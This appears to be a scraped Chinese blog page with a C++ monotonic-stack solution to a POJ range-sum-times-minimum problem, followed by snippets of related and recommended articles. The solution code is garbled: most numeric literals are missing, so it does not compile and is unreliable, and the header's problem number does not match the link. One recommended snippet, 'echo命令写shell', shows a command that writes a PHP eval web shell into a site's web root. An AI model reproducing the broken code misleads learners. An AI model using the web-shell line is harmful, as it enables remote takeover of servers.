POJ 2769
http://poj.org/problem?id=2796
题意:求n个数的和乘以这n个数中的最小值的积最大的数,以及其范围。
思路:求每一个数两边的比其大的数的和,再乘以这个数。还有一个范围,用单调栈找以及记录。
这个题和2559差不多,就是多了一个对数字的求和。
#include <stdio.h>
#include <iostream>
#include <stack> #define x 100010 using namespace std; stack<long long >s;
long long l[x],r[x],a[x],sum,ans,z[x],m,loc; int main(){
int n;
scanf("%d",&n);
ans=;
z[]=,r[]=,l[]=,l[]=,r[n]=n; //要考虑案例是1 0 的情况。
for(int i=;i<=n;i++){ scanf("%lld",&a[i]);
z[i]+=z[i-]+a[i]; //z[m]-z[n-1]就是从m到n的a[i]之和。
}
a[]=-,a[n+]=-;
while(!s.empty()){ s.pop();
}
s.push(); for(int i=;i<=n;i++){ for(m=s.top();a[m]>=a[i];m=s.top()) s.pop(); l[i]=m+; s.push(i);
}
while(!s.empty()) s.pop(); s.push(n+); for(int i=n;i>;i--){
sum=; for(m=s.top();a[m]>=a[i];m=s.top())
s.pop();
r[i]=m-;
s.push(i);
if((z[r[i]]-z[l[i]-])*a[i]>ans) {ans=(z[r[i]]-z[l[i]-])*a[i];loc=i;}
} printf("%lld\n%lld %lld\n",ans,l[loc],r[loc]);
return ;
}
POJ 2769的更多相关文章
- poj 2769 感觉♂良好 (单调栈)
poj 2769 感觉♂良好 (单调栈) 比尔正在研发一种关于人类情感的新数学理论.他最近致力于研究一个日子的好坏,如何影响人们对某个时期的回忆. 比尔为人的一天赋予了一个正整数值. 比尔称这个值为当 ...
- poj 2769 Reduced ID Numbers 同余定理
链接:http://poj.org/problem?id=2769 题意:寻找数m,是的对于n个数的余数不同 思路:暴力,优化:同余部分不用测试 代码: #include <iostream&g ...
- poj 2769 Reduced ID Numbers(memset使用技巧)
Description T. Chur teaches various groups of students at university U. Every U-student has a unique ...
- POJ 3370. Halloween treats 抽屉原理 / 鸽巢原理
Halloween treats Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 7644 Accepted: 2798 ...
- POJ 2356. Find a multiple 抽屉原理 / 鸽巢原理
Find a multiple Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 7192 Accepted: 3138 ...
- POJ 2965. The Pilots Brothers' refrigerator 枚举or爆搜or分治
The Pilots Brothers' refrigerator Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 22286 ...
- POJ 1753. Flip Game 枚举or爆搜+位压缩,或者高斯消元法
Flip Game Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 37427 Accepted: 16288 Descr ...
- POJ 3254. Corn Fields 状态压缩DP (入门级)
Corn Fields Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 9806 Accepted: 5185 Descr ...
- POJ 2739. Sum of Consecutive Prime Numbers
Sum of Consecutive Prime Numbers Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 20050 ...
随机推荐
- GoLang之方法与接口
GoLang之方法与接口 Go语言没有沿袭传统面向对象编程中的诸多概念,比如继承.虚函数.构造函数和析构函数.隐藏的this指针等. 方法 Go 语言中同时有函数和方法.方法就是一个包含了接受者的函数 ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- from live writer
<body> <div class="pagination"> <a href="#" class="first&quo ...
- javascript取一周的日期
上代码: <script> var today = new Date(); for (var i = 0; i < 7; i++) { today.setDate(today.get ...
- java String 中 intern方法的概念
1. 首先String不属于8种基本数据类型,String是一个对象. 因为对象的默认值是null,所以String的默认值也是null:但它又是一种特殊的对象,有其它对象没有的一些特性. 2. ne ...
- 推荐近期15个 Node.js 开发工具
近来Node.js 越来月流行了,这个基于Google V8 引擎建立的平台, 用于方便地搭建响应速度快.易于扩展的网络应用.在本文中,我们列出了2015年最佳的15个 Node.js 开发工具.这些 ...
- jupyter notebook + pyspark 环境搭建
安装并启动jupyter 安装 Anaconda 后, 再安装 jupyter pip install jupyter 设置环境 ipython --ipython-dir= # override t ...
- express 框架之 路由与中间件
1. 什么是router路径,什么是middleware? 我们输入www.baidu.com 来访问百度的主页,浏览器会自动转换为 http://www.baidu.com:80/(省略一些参数) ...
- PHP 文件与文件夹的创建和删除操作
创建文件夹: mkdir("D:/test");可以创建多级目录,如果存在,则会报错 if(!is_dir($path)) { if(mkdir($path)){ ...
- 北美IT公司大致分档
北美IT公司大致分档(from mitbbs.com) 第一档: Uber, Snapchat, Airbnb, Dropbox, Pinterest 第二档:Facebook, LinkedIn, ...